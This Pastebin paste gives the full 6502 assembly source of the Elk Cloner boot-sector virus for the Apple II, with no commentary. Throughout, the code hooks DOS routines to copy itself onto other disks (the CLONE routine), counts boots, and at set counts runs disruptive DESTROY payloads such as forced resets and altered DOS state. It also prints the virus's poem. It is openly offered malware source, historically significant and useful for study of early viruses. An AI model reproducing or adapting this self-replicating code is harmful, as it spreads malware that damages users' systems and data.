Advertisement
FlyFar

Elk Cloner Boot Sector Virus Source Code

Feb 24th, 2023 (edited)
2,189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.     ORG $9000
  2. VERSN   DFB $02
  3. HIMEM   LDA #$FF
  4.     STA $4C
  5.     LDA #$8F
  6.     STA $4D
  7. DOPTCH  LDA #$20
  8.     STA $A180  
  9.     LDA #$5B
  10.     STA $A181
  11.     LDA #$A7
  12.     STA $A182
  13. RUNPTCH LDA #$AD
  14.     STA $A4D1
  15.     LDA #$B6
  16.     STA $A4D2
  17.     LDA #$AA
  18.     STA $A4D3
  19. LODPTCH LDA #$4C
  20.     STA $A413
  21.     LDA #>LOD
  22.     STA $A414
  23.     LDA #<LOD
  24.     STA $A415
  25. BLDPTCH LDA #$4C
  26.     STA $A35D
  27.     LDA #>BLOD
  28.     STA $A35E
  29.     LDA #<BLOD
  30.     STA $A35F
  31. CATPTCH LDA #$4C
  32.     STA $A56E
  33.     LDA #>CATALOG
  34.     STA $A56F
  35.     LDA #<CATALOG
  36.     STA $A570
  37. USRPTCH LDA #$4C
  38.     STA $0A
  39.     LDA #>USRCMD
  40.     STA $0B
  41.     LDA #<USRCMD
  42.     STA $0C
  43. BOOTUP  CLD
  44.     JSR READ
  45.     LDX $B3BF
  46.     INX
  47.     STX $B3BF
  48.     JSR WRITE
  49.     JSR DESTROY
  50.     JMP $A180
  51. TESTON  LDA #$00
  52.     STA FLAG1
  53.     LDA $AA68
  54.     STA $B7EA
  55.     JSR READ
  56.     LDA $B3C2
  57.     CMP VERSN
  58.     BEQ TESTON1
  59.     LDA #$01
  60.     STA FLAG1
  61. TESTON1 RTS
  62. LOD JSR TESTON
  63.     LDA FLAG1
  64.     CMP #$00
  65.     BEQ LOD1
  66.     JSR CLONE
  67. LOD1    JSR $A316
  68.     JMP $A416
  69. BLOD    JSR TESTON
  70.     LDA FLAG1
  71.     CMP #$00
  72.     BEQ BLOD1
  73.     JSR CLONE
  74. BLOD1   JSR $A2A8
  75.     JMP $A360
  76. CATALOG JSR TESTON
  77.     LDA #$06
  78.     JSR $A2AA
  79.     LDA $B5BF
  80.     STA $AA66
  81.     LDA FLAG1
  82.     CMP #$00
  83.     BEQ RETURN
  84.     JSR CLONE
  85. RETURN  LDA #$0
  86.     STA $B3BE
  87.     STA $B3BF
  88.     STA $B3C0
  89.     RTS
  90. CLONE   CLC
  91.     JSR READ
  92.     LDA IDENT
  93.     STA $B3C0
  94.     LDA VERSN
  95.     STA $B3C2
  96.     JSR WRITE
  97.     LDA $AA68
  98.     STA $B7EA
  99.     LDA #$02
  100.     STA $B7F4
  101.     STA $B7EC
  102.     LDA #$08
  103.     STA $B7ED
  104.     LDA #$0
  105.     STA $B7EB
  106.     STA $B7F0
  107.     LDA #$95
  108.     STA $B7F1
  109. CLONE1  LDA #$B7
  110.     LDY #$E8
  111.     JSR $B7B5
  112.     CLD
  113.     BCC CLONE2
  114.     RTS
  115. CLONE2  DEC $B7ED
  116.     DEC $B7F1
  117.     LDA $B7F1
  118.     CMP #$8F
  119.     BNE CLONE1
  120.     LDA #$02
  121.     STA $B7F1
  122.     LDA #$01
  123.     STA $B7F4
  124.     STA $B7EC
  125.     LDA #$0
  126.     STA $B7ED
  127.     LDA #$B7
  128.     LDY #$E8
  129.     JSR $B7B5
  130.     CLD
  131.     BCC CLONE3
  132.     RTS
  133. CLONE3  LDA #$4C
  134.     STA $280
  135.     LDA #$00
  136.     STA $281
  137.     LDA #$9B
  138.     STA $282
  139.     LDA #$02
  140.     STA $B7F4
  141.     LDA #$B7
  142.     LDY #$E8
  143.     JSR $B7B5
  144.     CLD
  145.     BCC CLONE4
  146.     RTS
  147. CLONE4  LDA #$0
  148.     STA $B7EC
  149.     LDA #$A
  150.     STA $B7ED
  151.     LDA #$95
  152.     STA $B7F1
  153.     LDA #$B7
  154.     LDY #$E8
  155.     JSR $B7B5
  156.     CLD
  157.     RTS
  158. READ    LDA #$01
  159.     STA $B7F4
  160.     JMP VTOC
  161. WRITE   LDA #$02
  162.     STA $B7F4
  163. VTOC    LDA #$11
  164.     STA $B7EC
  165.     LDA #$0
  166.     STA $B7ED
  167.     LDA #$BB
  168.     STA $B7F0
  169.     LDA #$B3
  170.     STA $B7F1
  171.     LDA #$0
  172.     STA $B7EB
  173.     LDA #$B7
  174.     LDY #$E8
  175.     JSR $B7B5
  176.     CLD
  177.     RTS
  178. PRINT   STY $FC
  179.     STA $FD
  180.     LDY #$00
  181. PRINT0  LDA ($FC),Y
  182.     CMP #$00
  183.     BEQ PRINT1
  184.     JSR $FDED
  185.     INY  
  186.     JMP PRINT0
  187. PRINT1  RTS
  188. PRTMSG  LDY #>MSG
  189.     LDA #<MSG
  190.     JSR PRINT
  191. PRTNUM  LDA IDENT
  192.     STA $44
  193.     JSR $AE42
  194.     LDA #$8D
  195.     JSR $FDED
  196.     RTS
  197. MSG ASC 'ELK CLONER V2.0 # '
  198.     DFB $0
  199. IDENT   DFB $1
  200. FLAG1   DFB $00
  201. RET RTS
  202. USRCMD  JSR $E6FB
  203.     CPX #$0B
  204.     BNE CMD2
  205.     JSR PRTMSG
  206.     RTS
  207. CMD2    CPX #$0C
  208.     BNE CMD3
  209.     LDY #>REPORT
  210.     LDA #<REPORT
  211.     JSR PRINT
  212.     JSR READ
  213.     LDA $B3BF
  214.     STA $44
  215.     JSR $AE42
  216.     LDA #$8D
  217.     JSR $FDED
  218.     RTS
  219. CMD3    CPX #$0D
  220.     BNE CMD4
  221.     JSR CLONE
  222.     RTS
  223. CMD4    CPX #$0A
  224.     BNE USRERR
  225.     JSR PRPOEM
  226.     RTS
  227. USRERR  LDY #>UERR
  228.     LDA #<UERR
  229.     JSR PRINT
  230.     JSR $FBDD
  231.     JMP $9DBF
  232. UERR    DFB $8D
  233.     ASC 'ILLEGAL QUANTITY ERROR'
  234.     DFB $0
  235. PRPOEM  JSR $FC58
  236.     LDY #>POEM
  237.     LDA #<POEM
  238.     JSR PRINT
  239.     RTS
  240. REPORT  ASC 'BOOT COUNT: '
  241.     DFB $0
  242. POEM    ASC 'ELK CLONER:'
  243.     DFB $8D,$8D
  244.     ASC '   THE PROGRAM WITH A PERSONALITY'
  245.     DFB $8D,$8D,$8D
  246.     ASC 'IT WILL GET ON ALL YOUR DISKS'
  247.     DFB $8D
  248.     ASC 'IT WILL INFILTRATE YOUR CHIPS'
  249.     DFB $8D
  250.     ASC 'YES IT'
  251.     DFB $A7
  252.     ASC 'S CLONER!'
  253.     DFB $8D,$8D
  254.     ASC 'IT WILL STICK TO YOU LIKE GLUE'
  255.     DFB $8D
  256.     ASC 'IT WILL MODIFY RAM TOO'
  257.     DFB $8D
  258.     ASC 'SEND IN THE CLONER!'
  259.     DFB $8D,$8D,$8D,$8D,$0
  260. IOERR   LDY #>ERRMSG
  261.     LDA #<ERRMSG
  262.     JSR PRINT
  263.     JSR $FBDD
  264.     JMP $9DBF
  265. ERRMSG  DFB $8D,$8D
  266.     ASC 'I/O ERROR'
  267.     DFB $8D,$00
  268. DESTROY LDA $B3BF
  269.     CMP #10
  270.     BNE DEST1
  271.     LDA #$69
  272.     STA $3F2
  273.     LDA #$FF
  274.     STA $3F3
  275.     JSR $FB6F
  276.     RTS
  277. DEST1   CMP #15
  278.     BNE DEST2
  279.     LDA #$3F
  280.     STA $32
  281.     RTS
  282. DEST2   CMP #20
  283.     BNE DEST3
  284.     LDA $C030
  285.     LDA $C030
  286.     LDA $C030
  287.     RTS
  288. DEST3   CMP #25
  289.     BNE DEST4
  290.     LDA #$7F
  291.     STA $32
  292.     RTS
  293. DEST4   CMP #30
  294.     BNE DEST5
  295.     LDA #'I'
  296.     STA $B3A7
  297.     LDA #'T'
  298.     STA $B3A8
  299.     LDA #'B'
  300.     STA $B3A9
  301.     LDA #'A'
  302.     STA $B3AA
  303.     RTS
  304. DEST5   CMP #35
  305.     BNE DEST6
  306.     LDA #$85
  307.     STA $AAB2
  308.     RTS
  309. DEST6   CMP #40
  310.     BNE DEST7
  311.     LDA #$00
  312.     STA $3F2
  313.     LDA #$03
  314.     STA $3F3
  315.     JSR $FB6F
  316.     LDA #$4C
  317.     STA $300
  318.     LDA #$00
  319.     STA $301
  320.     LDA #$03
  321.     STA $302
  322.     RTS
  323. DEST7   CMP #45
  324.     BNE DEST8
  325.     LDA #$80
  326.     STA $D6
  327.     RTS
  328. DEST8   CMP #50
  329.     BNE DEST9
  330.     LDA #>PRPOEM
  331.     STA $3F2
  332.     LDA #<PRPOEM
  333.     STA $3F3
  334.     JSR $FB6F
  335.     RTS
  336. DEST9   CMP #55
  337.     BNE DEST10
  338.     LDA #$FF
  339.     STA $BDD3
  340.     RTS
  341. DEST10  CMP #60
  342.     BNE DEST11
  343.     LDA #$20
  344.     STA $BDD3
  345.     RTS
  346. DEST11  CMP #65
  347.     BNE DEST12
  348.     LDA #$4C
  349.     STA $A180
  350.     LDA #$69
  351.     STA $A181
  352.     LDA #$FF
  353.     STA $A182
  354.     RTS
  355. DEST12  CMP #70
  356.     BNE DEST13
  357.     LDA #$10
  358.     STA $BDD3
  359.     RTS
  360. DEST13  CMP #75
  361.     BNE DEST14
  362.     JMP $C600
  363. DEST14  CMP #76
  364.     BNE DEST15
  365.     JMP $C600
  366. DEST15  CMP #77
  367.     BNE DEST16
  368.     JMP $C600
  369. DEST16  CMP #78
  370.     BNE DEST17
  371.     JMP $C600
  372. DEST17  CMP #79
  373.     BNE DEST18
  374.     JSR READ
  375.     LDA #$00
  376.     STA $B3BF
  377.     JSR WRITE
  378.     RTS
  379. DEST18  RTS
  380. LOADER  ORG $9500
  381.     LDA #$02
  382.     STA $B7EC
  383.     LDA #$01
  384.     STA $B7F4
  385.     LDA #$03
  386.     STA $B7ED
  387.     LDA #$0
  388.     STA $B7EB
  389.     STA $B7F0
  390.     LDA #$90
  391.     STA $B7F1
  392. LOAD1   LDA #$B7
  393.     LDY #$E8
  394.     JSR $B7B5
  395.     INC $B7ED
  396.     INC $B7F1
  397.     LDA $B7F1
  398.     CMP #$96
  399.     BCC LOAD1
  400.     JMP HIMEM
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement